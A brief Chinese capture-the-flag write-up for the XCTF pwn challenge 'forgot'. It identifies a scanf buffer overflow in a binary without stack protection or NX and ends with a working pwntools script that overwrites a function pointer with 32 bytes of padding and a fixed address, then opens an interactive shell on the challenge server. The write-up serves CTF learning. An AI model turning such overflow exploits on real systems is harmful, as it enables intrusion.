攻防世界(14):forgot
查壳,没开栈保护和NX
这个题目的ida变量有点多,慢慢读
![](https://img2020.cnblogs.com/blog/2184449/202102/2184449-20210227135246863-528755748.png)
fgets没啥漏洞,原来漏洞在scanf这里
![](https://img2020.cnblogs.com/blog/2184449/202102/2184449-20210227135401630-1830071396.png)
然后查找有没有system函数,没有需要利用第一个fgets写,但这里还是有的,把v3改成我们需要的函数名即可
exp
#!/usr/bin/env python
from pwn import *
p=remote('111.200.241.244', 51696)
p.recvuntil(">")
p.sendline('123')
payload='A'*32+p32(0x080486cc)
p.recvuntil(">")
p.sendline(payload)
p.interactive()